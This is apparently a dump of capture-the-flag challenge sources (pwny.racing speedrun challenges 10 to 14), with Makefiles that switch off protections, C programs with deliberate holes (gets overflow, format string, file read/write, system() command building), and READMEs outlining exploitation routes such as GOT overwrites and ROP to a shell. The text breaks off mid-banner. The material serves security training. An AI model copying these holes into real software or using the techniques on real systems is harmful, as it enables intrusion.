https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall10/dist/chall10.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall10/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -z,relro -no-pie -fno-pic -fno-stack-protector -Wno-implicit-function-declaration 2 | SRC=chall10.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall10 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall10/src/chall10.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void banner(){ 6 | 7 | puts("pwny.racing presents...\n\n\e[31;1m\e[47m▄\e[0m\e[31;1m█████████▄\e" \ 8 | "[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 9 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 10 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m██████████\e[0m \e[31;1m▄\e[47m" \ 11 | "▄\e[0m\e[31;1m████████▄\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███\e[0m\n\e[31" \ 12 | ";1m████\e[41;1m▀▀▀████\e[0m \e[31;1m████ ████\e[0m \e[31;1m█████▄ ██" \ 13 | "██\e[0m \e[31;1m\e[41;1m▀▀▀▀▀▀█████\e[0m \e[31;1m████\e[41;1m▀▀▀█" \ 14 | "███\e[0m \e[31;1m████\e[0m\n\e[31;1m████▄▄▄████\e[0m \e[31;1m████ ▄ ██" \ 15 | "██\e[0m \e[31;1m███████████\e[0m \e[31;1m▄████\e[41;1m▀\e[0m\e[31m▀" \ 16 | "\e[0m \e[37;1m▄\e[0m\e[31;1m▄▄▄▄▄\e[0m \e[31;1m████▄▄▄████\e[0m \e[31;1m" \ 17 | "████\e[0m\n\e[31;1m██████████\e[41;1m▀\e[0m \e[31;1m████▄███▄████\e[0m " \ 18 | "\e[31;1m████\e[0m\e[31m▀\e[31;1m\e[41;1m▀█████\e[0m \e[31;1m▄████\e[41" \ 19 | ";1m▀\e[0m\e[31m▀\e[0m \e[31;1m██████\e[0m \e[31;1m████\e[41;1m▀▀▀████" \ 20 | "\e[0m \e[31;1m████\e[0m\n\e[31;1m████\e[0m\e[31m▀▀▀▀▀▀\e[0m \e[31;1m\e[" \ 21 | "41;1m██████▀██████\e[0m \e[31;1m████ \e[0m\e[31m▀\e[31;1m████\e[0m \e[3" \ 22 | "1;1m▄████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀▀▀▀▀▀\e[0m \e[31;1m████ " \ 23 | " ████\e[0m \e[37;1m\e[41;1m▄\e[31;1m▄▄▄\e[0m\n\e[31;1m████\e[0m " \ 24 | "\e[31;1m████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀\e[0m\e[31;1m\e[41;1m▀████" \ 25 | "\e[0m \e[31;1m████ ████\e[0m \e[31;1m████\e[0m\e[31m▀\e[0m " \ 26 | " \e[31;1m████ ████\e[0m \e[31;1m████\e[0m\n\e[31m▀▀▀▀\e[0m \e[" \ 27 | "31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m " \ 28 | " \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m\n " \ 29 | " speedrun edition 1/5!\n"); 30 | } 31 | 32 | int main(){ 33 | 34 | char buffer[0x10]; 35 | 36 | setvbuf(stdin, 0, _IONBF, 0); 37 | setvbuf(stdout, 0, _IONBF, 0); 38 | 39 | alarm(60); 40 | banner(); 41 | 42 | printf("input: "); 43 | gets(buffer); 44 | 45 | return EXIT_SUCCESS; 46 | } -------------------------------------------------------------------------------- /pwnyracing/chall11/README.md: -------------------------------------------------------------------------------- 1 | # Chall 11 (Episode 7b - Speedrun Edition) 2 | 3 | ## Challenge 4 | 5 | A format string attack with an `exit()` call right after the format string is 6 | printed to the user. Obviously the idea is to overwrite the `exit()` pointer 7 | in the GOT much like `.dtors` writes, however there are many things that can 8 | be after that step, each with benefits and detriments. 9 | 10 | The reference exploit is crafted for stability, it will put the program in a 11 | loop by restarting it (pointing `exit()` to `main()`) and then write over 12 | `__malloc_hook` after leaking libc. Another method was tested for speed where 13 | `exit()` could be overwritten with a one shot gadget (after leaking and 14 | restarting). This works because you can control `eax` which is the key 15 | requirement for the gadget that was the most stable. 16 | 17 | ## Protections 18 | 19 | ``` 20 | Arch: i386-32-little 21 | RELRO: Partial RELRO 22 | Stack: Canary found 23 | NX: NX enabled 24 | PIE: No PIE (0x8048000) 25 | ``` 26 | -------------------------------------------------------------------------------- /pwnyracing/chall11/dist/chall11.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall11/dist/chall11.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall11/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -Wl,-z,relro -m32 -no-pie -fno-pic -fstack-protector-all -Wno-format-security 2 | SRC=chall11.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall11 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall11/src/chall11.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define BUF_SIZE 0x80 6 | 7 | void banner(){ 8 | 9 | puts("pwny.racing presents...\n\n\e[31;1m\e[47m▄\e[0m\e[31;1m█████████▄\e" \ 10 | "[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 11 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 12 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m██████████\e[0m \e[31;1m\e[47m▄" \ 13 | "\e[0m\e[31;1m█████████▄\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███\e[0m\n\e[31" \ 14 | ";1m████\e[41;1m▀▀▀████\e[0m \e[31;1m████ ████\e[0m \e[31;1m█████▄ ██" \ 15 | "██\e[0m \e[31;1m\e[41;1m▀▀▀▀▀▀█████\e[0m \e[31;1m████\e[41;1m▀▀▀█" \ 16 | "███\e[0m \e[31;1m████\e[0m\n\e[31;1m████▄▄▄████\e[0m \e[31;1m████ ▄ ██" \ 17 | "██\e[0m \e[31;1m███████████\e[0m \e[31;1m▄████\e[41;1m▀\e[0m\e[31m▀" \ 18 | "\e[0m \e[37;1m▄\e[0m\e[31;1m▄▄▄▄▄\e[0m \e[31;1m████▄▄▄███\e[41;1m▀\e[0m " \ 19 | "\e[31;1m████\e[0m\n\e[31;1m██████████\e[41;1m▀\e[0m \e[31;1m████▄███▄███" \ 20 | "█\e[0m \e[31;1m████\e[0m\e[31m▀\e[31;1m\e[41;1m▀█████\e[0m \e[31;1m▄██" \ 21 | "██\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31;1m██████\e[0m \e[31;1m████\e[41;1m▀" \ 22 | "▀▀███\e[0m\e[31;1m▄\e[0m \e[31;1m████\e[0m\n\e[31;1m████\e[0m\e[31m▀▀▀▀▀" \ 23 | "▀\e[0m \e[31;1m\e[41;1m██████▀██████\e[0m \e[31;1m████ \e[0m\e[31m▀\e[" \ 24 | "31;1m████\e[0m \e[31;1m▄████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀▀▀▀▀▀" \ 25 | "\e[0m \e[31;1m████▄▄▄████\e[0m \e[37;1m\e[41;1m▄\e[31;1m▄▄▄\e[0m\n\e[31;" \ 26 | "1m████\e[0m \e[31;1m████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀\e[0m\e" \ 27 | "[31;1m\e[41;1m▀████\e[0m \e[31;1m████ ████\e[0m \e[31;1m████\e[0m\e[31" \ 28 | "m▀\e[0m \e[31;1m██████████▀\e[0m \e[31;1m████\e[0m\n\e[31m▀" \ 29 | "▀▀▀\e[0m \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀" \ 30 | "▀▀\e[0m \e[31m▀▀▀▀▀▀▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m\n " \ 31 | " speedrun edition 2/5!\n"); 32 | } 33 | 34 | void main(){ 35 | 36 | char buffer[BUF_SIZE] = ""; 37 | 38 | setvbuf(stdin, 0, _IONBF, 0); 39 | setvbuf(stdout, 0, _IONBF, 0); 40 | 41 | alarm(60); 42 | banner(); 43 | 44 | printf("input: "); 45 | fgets(buffer, BUF_SIZE, stdin); 46 | 47 | printf(buffer); 48 | exit(EXIT_SUCCESS); 49 | } -------------------------------------------------------------------------------- /pwnyracing/chall12/README.md: -------------------------------------------------------------------------------- 1 | # Chall 12 (Episode 7c - Speedrun Edition) 2 | 3 | ## Challenge 4 | 5 | The player can read or write any file on the system that they have valid 6 | permissions for. There is no specific vulnerability (although there is 7 | some buggy handling of read values, they are not specifically security 8 | bugs). 9 | 10 | It is a rather open ended challenge as there are a few ways to do the 11 | challenge (although a file called `.ssh` that has been marked as immutable 12 | to avoid planting of `.ssh` keys just in case the SSH port associated with 13 | the IP is the same as on the docker container). 14 | 15 | Ideally they would just acquire leaks from `/proc/self/maps` and write some 16 | injected code/data using `/proc/self/mem`. 17 | 18 | ## Protections 19 | 20 | ``` 21 | Arch: amd64-64-little 22 | RELRO: Full RELRO 23 | Stack: Canary found 24 | NX: NX enabled 25 | PIE: PIE enabled 26 | ``` 27 | -------------------------------------------------------------------------------- /pwnyracing/chall12/dist/chall12.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall12/dist/chall12.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall12/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -fstack-protector-all 2 | SRC=chall12.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall12 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall12/src/chall12.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define FILE_LEN 0x80 7 | 8 | void banner(){ 9 | 10 | puts("pwny.racing presents...\n\n\e[31;1m\e[47m▄\e[0m\e[31;1m█████████▄\e" \ 11 | "[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 12 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 13 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m██████████\e[0m \e[31;1m▄\e[47m" \ 14 | "▄\e[0m\e[31;1m████████▄\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███\e[0m\n\e[31" \ 15 | ";1m████\e[41;1m▀▀▀████\e[0m \e[31;1m████ ████\e[0m \e[31;1m█████▄ ██" \ 16 | "██\e[0m \e[31;1m\e[41;1m▀▀▀▀▀▀█████\e[0m \e[31;1m████\e[41;1m▀▀▀█" \ 17 | "███\e[0m \e[31;1m████\e[0m\n\e[31;1m████▄▄▄████\e[0m \e[31;1m████ ▄ ██" \ 18 | "██\e[0m \e[31;1m███████████\e[0m \e[31;1m▄████\e[41;1m▀\e[0m\e[31m▀" \ 19 | "\e[0m \e[37;1m▄\e[0m\e[31;1m▄▄▄▄▄\e[0m \e[31;1m████ \e[41;1m▀▀▀▀\e[0m " \ 20 | "\e[31;1m████\e[0m\n\e[31;1m██████████\e[41;1m▀\e[0m \e[31;1m████▄███▄███" \ 21 | "█\e[0m \e[31;1m████\e[0m\e[31m▀\e[31;1m\e[41;1m▀█████\e[0m \e[31;1m▄██" \ 22 | "██\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31;1m██████\e[0m \e[31;1m████ ▄▄▄▄\e" \ 23 | "[0m \e[31;1m████\e[0m\n\e[31;1m████\e[0m\e[31m▀▀▀▀▀▀\e[0m \e[31;1m\e[41" \ 24 | ";1m██████▀██████\e[0m \e[31;1m████ \e[0m\e[31m▀\e[31;1m████\e[0m \e[31;" \ 25 | "1m▄████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀▀▀▀▀▀\e[0m \e[31;1m████▄▄▄█" \ 26 | "███\e[0m \e[37;1m\e[41;1m▄\e[31;1m▄▄▄\e[0m\n\e[31;1m████\e[0m \e[" \ 27 | "31;1m████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀\e[0m\e[31;1m\e[41;1m▀████\e[" \ 28 | "0m \e[31;1m████ ████\e[0m \e[31;1m████\e[0m\e[31m▀\e[0m " \ 29 | "\e[31;1m\e[41;1m▀█████████▀\e[0m \e[31;1m████\e[0m\n\e[31m▀▀▀▀\e[0m " \ 30 | " \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m " \ 31 | " \e[31m▀▀▀▀▀▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m\n " \ 32 | " speedrun edition 3/5!"); 33 | } 34 | 35 | void fatal(const char *msg){ 36 | 37 | printf("\e[31;1mnope:\e[0m %s\n", msg); 38 | _exit(EXIT_FAILURE); 39 | } 40 | 41 | void read_file(char *file){ 42 | 43 | FILE *fp; 44 | char *op; 45 | long sk; 46 | size_t sz; 47 | 48 | if ((fp = fopen(file, "r")) == NULL) 49 | fatal("could not open file for reading."); 50 | 51 | printf("size: "); 52 | scanf("%ul%*c", (unsigned int *) &sz); 53 | 54 | if ((op = calloc(sz, 1)) == NULL) 55 | fatal("could not allocate memory for output."); 56 | 57 | printf("seek: "); 58 | scanf("%li%*c", &sk); 59 | fseek(fp, sk, SEEK_SET); 60 | 61 | fread(op, 1, sz, fp); 62 | printf("data: "); 63 | fwrite(op, sz, 1, stdout); 64 | puts(""); 65 | 66 | free(op); 67 | fclose(fp); 68 | } 69 | 70 | void write_file(char *file){ 71 | 72 | FILE *fp; 73 | char *op; 74 | long sk; 75 | size_t sz; 76 | 77 | if ((fp = fopen(file, "a+")) == NULL) 78 | fatal("could not open file for writing."); 79 | 80 | printf("size: "); 81 | scanf("%ul%*c", (unsigned int *) &sz); 82 | 83 | if ((op = calloc(sz, 1)) == NULL) 84 | fatal("could not allocate memory for output."); 85 | 86 | printf("seek: "); 87 | scanf("%li%*c", &sk); 88 | fseek(fp, sk, SEEK_SET); 89 | 90 | printf("data: "); 91 | fread(op, 1, sz, stdin); 92 | fwrite(op, sz, 1, fp); 93 | 94 | free(op); 95 | fclose(fp); 96 | } 97 | 98 | int main(){ 99 | 100 | int option = 0; 101 | char file[FILE_LEN] = ""; 102 | 103 | setvbuf(stdin, 0, _IONBF, 0); 104 | setvbuf(stdout, 0, _IONBF, 0); 105 | 106 | alarm(60); 107 | banner(); 108 | 109 | while (1){ 110 | 111 | printf("\n\e[1;1mOptions: \e[0m\n 1) read\n 2) write\n\n"); 112 | printf("> "); 113 | 114 | scanf("%d%*c", &option); 115 | if (option < 1 || option > 2) 116 | _exit(EXIT_FAILURE); 117 | 118 | printf("file: "); 119 | if (fgets(file, FILE_LEN, stdin) == NULL) 120 | _exit(EXIT_FAILURE); 121 | if (file[strlen(file)-1] == '\n') 122 | file[strlen(file)-1] = '\x00'; 123 | 124 | (option == 1)? read_file(file): write_file(file); 125 | } 126 | 127 | return EXIT_SUCCESS; 128 | } -------------------------------------------------------------------------------- /pwnyracing/chall13/README.md: -------------------------------------------------------------------------------- 1 | # Chall 13 (Episode 7d - Speedrun Edition) 2 | 3 | ## Challenge 4 | 5 | This challenge has two methods to solve, one is fairly obvious but slower and 6 | the other is much faster but might not immediately pop out to players. 7 | 8 | There is a `buffer` on the stack and input is read to it. This input is then 9 | formatted as part of a command that is passed to `system()`. The command has 10 | single quotes to prevent trivial command injection, it is in the format of 11 | `$PROG '%s'` where `$PROG` is set to `/bin/cat` and `%s` is where their input 12 | will appear. 13 | 14 | So the idea is the player will provide input for a filename in the current 15 | directory and they will read the file. The characters `'`, `/`, `\`, `\n` and 16 | `\r` are all filtered. 17 | 18 | The vulnerability is a trivial stack based buffer overflow, however `main()` 19 | never returns. 20 | 21 | The two methods of exploitation are described below: 22 | 23 | ### Method 1 (Fast) 24 | 25 | The general idea is to overwrite the `envp` pointer to `$PROG` so that the 26 | string can be arbitrarily controlled in order to pop a shell. 27 | 28 | This is done in two parts, first `main()` calls `input()` with the pointer 29 | to the input buffer, this means the pointer is on the stack and can be 30 | overwritten (to point to a known memory location) so the next time input is 31 | read, it will not be on the stack, but rather at that known location. 32 | 33 | This means not only can the command be written to that known location, but 34 | also a fake ENV string like `PROG=sh -c` so the player can also overflow 35 | the correct `envp` pointer to point to that string and get the easy shell. 36 | 37 | ### Method 2 (Slower) 38 | 39 | Since there is a buffer overflow and a null terminator is not added to the 40 | end of the input before it is passed to `snprintf()` to format the command, 41 | the player can leak all the values on the stack in the error message `sh` 42 | will spit out due to the file not existing. 43 | 44 | So similarly to the above method, if the player controls the `buffer` pointer 45 | by overwriting it and gets the right stack leaks, although `main()` never 46 | returns, `input()` does, and so they can calculate the return address location 47 | of `input()` before that function even runs and have `input()` write a ROP chain 48 | to that location. Since it is 32bit, they don't need to do much except pass 49 | a valid command string to `system()`. 50 | 51 | ## Protections 52 | 53 | ``` 54 | Arch: i386-32-little 55 | RELRO: Full RELRO 56 | Stack: Canary found 57 | NX: NX enabled 58 | PIE: No PIE (0x8048000) 59 | ``` -------------------------------------------------------------------------------- /pwnyracing/chall13/dist/chall13.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall13/dist/chall13.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall13/src/Makefile.md: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -z relro -z now -no-pie -fno-pic -fstack-protector-all -m32 2 | SRC=chall13.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall13 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall13/src/chall13.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define MAX_BUF 0x20 7 | #define MAX_CMD 0x400 8 | 9 | #define CMD "$PROG '%s'" 10 | 11 | char command[MAX_CMD]; 12 | 13 | void banner(){ 14 | 15 | puts("pwny.racing presents...\n\n\e[31;1m\e[47m▄\e[0m\e[31;1m█████████▄\e" \ 16 | "[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 17 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 18 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m██████████\e[0m \e[31;1m\e[47m▄" \ 19 | "\e[0m\e[31;1m████████▄\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███\e[0m\n\e[31" \ 20 | ";1m████\e[41;1m▀▀▀████\e[0m \e[31;1m████ ████\e[0m \e[31;1m█████▄ ██" \ 21 | "██\e[0m \e[31;1m\e[41;1m▀▀▀▀▀▀█████\e[0m \e[31;1m████\e[41;1m▀▀██" \ 22 | "██\e[0m\e[31;1m▄\e[0m \e[31;1m████\e[0m\n\e[31;1m████▄▄▄████\e[0m \e[31;" \ 23 | "1m████ ▄ ████\e[0m \e[31;1m███████████\e[0m \e[31;1m▄████\e[41;1m▀" \ 24 | "\e[0m\e[31m▀\e[0m \e[37;1m▄\e[0m\e[31;1m▄▄▄▄▄\e[0m \e[31;1m████ \e[0m\e" \ 25 | "[31m▀\e[31;1m████\e[0m \e[31;1m████\e[0m\n\e[31;1m██████████\e[41;1m▀\e[" \ 26 | "0m \e[31;1m████▄███▄████\e[0m \e[31;1m████\e[0m\e[31m▀\e[31;1m\e[41;1m▀█" \ 27 | "████\e[0m \e[31;1m▄████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31;1m██████\e[0" \ 28 | "m \e[31;1m████ ████\e[0m \e[31;1m████\e[0m\n\e[31;1m████\e[0m\e[31m▀▀▀" \ 29 | "▀▀▀\e[0m \e[31;1m\e[41;1m██████▀██████\e[0m \e[31;1m████ \e[0m\e[31m▀" \ 30 | "\e[31;1m████\e[0m \e[31;1m▄████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀▀▀▀" \ 31 | "▀▀\e[0m \e[31;1m████▄▄████\e[41;1m▀\e[0m \e[37;1m\e[41;1m▄\e[31;1m▄▄▄\e[" \ 32 | "0m\n\e[31;1m████\e[0m \e[31;1m████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[3" \ 33 | "1m▀\e[0m\e[31;1m\e[41;1m▀████\e[0m \e[31;1m████ ████\e[0m \e[31;1m████" \ 34 | "\e[0m\e[31m▀\e[0m \e[31;1m█████████\e[41;1m▀\e[0m \e[31;1m" \ 35 | "████\e[0m\n\e[31m▀▀▀▀\e[0m \e[31m▀▀▀▀ ▀▀▀▀\e[0m \e[31m▀▀▀▀ " \ 36 | "▀▀▀▀\e[0m \e[31m▀▀▀▀\e[0m \e[31m▀▀▀▀▀▀▀▀▀\e[0m \e[31m▀▀▀" \ 37 | "▀\e[0m\n speedrun edi" \ 38 | "tion 4/5!\n"); 39 | 40 | puts("\e[1mlist:\e[0m "); 41 | system("/bin/ls -A1 *.txt"); 42 | puts(""); 43 | } 44 | 45 | int input(char *dest){ 46 | 47 | int i = 0; 48 | int n = read(0, dest, MAX_CMD); 49 | 50 | for (i = 0; i < n; i++) 51 | if (dest[i] == '\n' || dest[i] == '\r' || dest[i] == '\'' || dest[i] == '/' || dest[i] == '\\') 52 | dest[i] = '\0'; 53 | 54 | snprintf(command, MAX_CMD, CMD, dest); 55 | return n; 56 | } 57 | 58 | int main(){ 59 | 60 | char *buffer = alloca(MAX_BUF); 61 | 62 | memset(buffer, 0, MAX_BUF); 63 | setvbuf(stdin, 0, _IONBF, 0); 64 | setvbuf(stdout, 0, _IONBF, 0); 65 | 66 | alarm(60); 67 | banner(); 68 | 69 | while (1){ 70 | 71 | printf("\e[1mfile:\e[0m "); 72 | if (input(buffer) <= 0) 73 | continue; 74 | 75 | system(command); 76 | usleep(500000); 77 | } 78 | 79 | return EXIT_SUCCESS; 80 | } -------------------------------------------------------------------------------- /pwnyracing/chall14/README.md: -------------------------------------------------------------------------------- 1 | # Chall 14 (Episode 7e - Speedrun Edition) 2 | 3 | ## Challenge 4 | 5 | Simple buffer overflow with all the mitigations turned on. There are no easy libc 6 | leaks sitting on the stack, however, it is easy to leak stack and pie address as 7 | well as the stack canary by providing different size inputs which will press up 8 | next to values on the stack when they are printed back. 9 | 10 | Once all that is done, the player can perform the buffer overflow, but before 11 | `main()` returns `rsi`, `rdi` and `rdx` will be set to have all bits on for the 12 | sport of it. 13 | 14 | There is a `win()` function for ease of pwn, but the function signature is: 15 | ```c 16 | void win(char *arg2, char *arg1, char *bin) 17 | ``` 18 | 19 | This means that the ROP chain the player uses must set `rdx` and `pop rdx` is a 20 | rare gadget in a standard gcc built ELF. They could of course just call `execve()` 21 | directly in the ROP chain but this would still require them to set `rdx` (since it 22 | was previously set to `0xffffffffffffffff`). 23 | 24 | The way they can handle these problems is to either use a universal `rdx` gadget 25 | using `__libc_csu_init()` or just call one of the many functions that can clear 26 | `rdx` for them and then call `execve("/bin/sh", NULL, NULL)` directly in their ROP 27 | chain. 28 | 29 | *Note:* There is an easy way out if the player cannot see the above methods paying 30 | off, they can just overflow, obtain a leak and then restart the program (with `main()` 31 | in their ROP chain for a second run) and do another buffer overflow. This method is 32 | just a little slower than the others (at least the way I do them). 33 | 34 | ## Protections 35 | 36 | ``` 37 | Arch: amd64-64-little 38 | RELRO: Full RELRO 39 | Stack: Canary found 40 | NX: NX enabled 41 | PIE: PIE enabled 42 | ``` -------------------------------------------------------------------------------- /pwnyracing/chall14/dist/chall14.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xb0bb/ctf-challs/1ece7f764b1ecae7168334c508c4e6a339d845a6/pwnyracing/chall14/dist/chall14.tar.gz -------------------------------------------------------------------------------- /pwnyracing/chall14/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-s -fstack-protector-all -Wno-incompatible-pointer-types -Wno-int-conversion 2 | SRC=chall14.c 3 | OBJ=$(SRC:.c=.o) 4 | BIN=chall14 5 | 6 | .PHONY : clean 7 | 8 | all: 9 | $(MAKE) $(BIN) 10 | 11 | $(BIN): $(OBJ) 12 | $(CC) $(CFLAGS) $(OBJ) -o $@ 13 | 14 | .o: 15 | $(CC) $(CFLAGS) $< -o $@ 16 | 17 | challenge: all 18 | rm -f $(OBJ) 19 | 20 | clean: 21 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall14/src/chall14.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | unsigned int c = 0; 7 | unsigned int n = 0; 8 | 9 | void clear(char *c[]){ 10 | 11 | if (!c) 12 | return; 13 | 14 | char **var; 15 | char *ptr; 16 | 17 | for (var = c; *var != NULL; var++) 18 | for (ptr = *var; *ptr != 0; *ptr++ = 0, *var = 0); 19 | 20 | var = 0; 21 | ptr = 0; 22 | } 23 | 24 | void banner(){ 25 | 26 | puts("pwny.racing presents...\n\n\e[31;1m\e[47m▄\e[0m\e[31;1m█████████▄\e" \ 27 | "[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 28 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███ \e[31;1m\e[47m▄\e[0m\e[31;1m███" \ 29 | "\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m██████████\e[0m \e[31;1m▄\e[47m" \ 30 | "▄\e[0m\e[31;1m█████████\e[0m \e[31;1m\e[47m▄\e[0m\e[31;1m███\e[0m\n\e[31" \ 31 | ";1m████\e[41;1m▀▀▀████\e[0m \e[31;1m████ ████\e[0m \e[31;1m█████▄ ██" \ 32 | "██\e[0m \e[31;1m\e[41;1m▀▀▀▀▀▀█████\e[0m \e[31;1m████\e[41;1m▀▀▀▀" \ 33 | "▀▀▀\e[0m \e[31;1m████\e[0m\n\e[31;1m████▄▄▄████\e[0m \e[31;1m████ ▄ ██" \ 34 | "██\e[0m \e[31;1m███████████\e[0m \e[31;1m▄████\e[41;1m▀\e[0m\e[31m▀" \ 35 | "\e[0m \e[37;1m▄\e[0m\e[31;1m▄▄▄▄▄\e[0m \e[31;1m████▄▄▄\e[0m \e[31;1m" \ 36 | "████\e[0m\n\e[31;1m██████████\e[41;1m▀\e[0m \e[31;1m████▄███▄████\e[0m " \ 37 | "\e[31;1m████\e[0m\e[31m▀\e[31;1m\e[41;1m▀█████\e[0m \e[31;1m▄████\e[41" \ 38 | ";1m▀\e[0m\e[31m▀\e[0m \e[31;1m██████\e[0m \e[31;1m████\e[41;1m▀▀▀\e[0m" \ 39 | " \e[31;1m████\e[0m\n\e[31;1m████\e[0m\e[31m▀▀▀▀▀▀\e[0m \e[31;1m\e[4" \ 40 | "1;1m██████▀██████\e[0m \e[31;1m████ \e[0m\e[31m▀\e[31;1m████\e[0m \e[31" \ 41 | ";1m▄████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀▀▀▀▀▀\e[0m \e[31;1m████▄▄▄" \ 42 | "▄▄▄▄\e[0m \e[37;1m\e[41;1m▄\e[31;1m▄▄▄\e[0m\n\e[31;1m████\e[0m \e" \ 43 | "[31;1m████\e[41;1m▀\e[0m\e[31m▀\e[0m \e[31m▀\e[0m\e[31;1m\e[41;1m▀████\e" \ 44 | "[0m \e[31;1m████ ████\e[0m \e[31;1m████\e[0m\e[31m▀\e[0m " \ 45 | "\e[31;1m\e[41;1m▀██████████\e[0m \e[31;1m████\e[0m\n\e[31m▀▀▀▀\e[0m " \ 46 | " \e[31m▀▀▀▀ 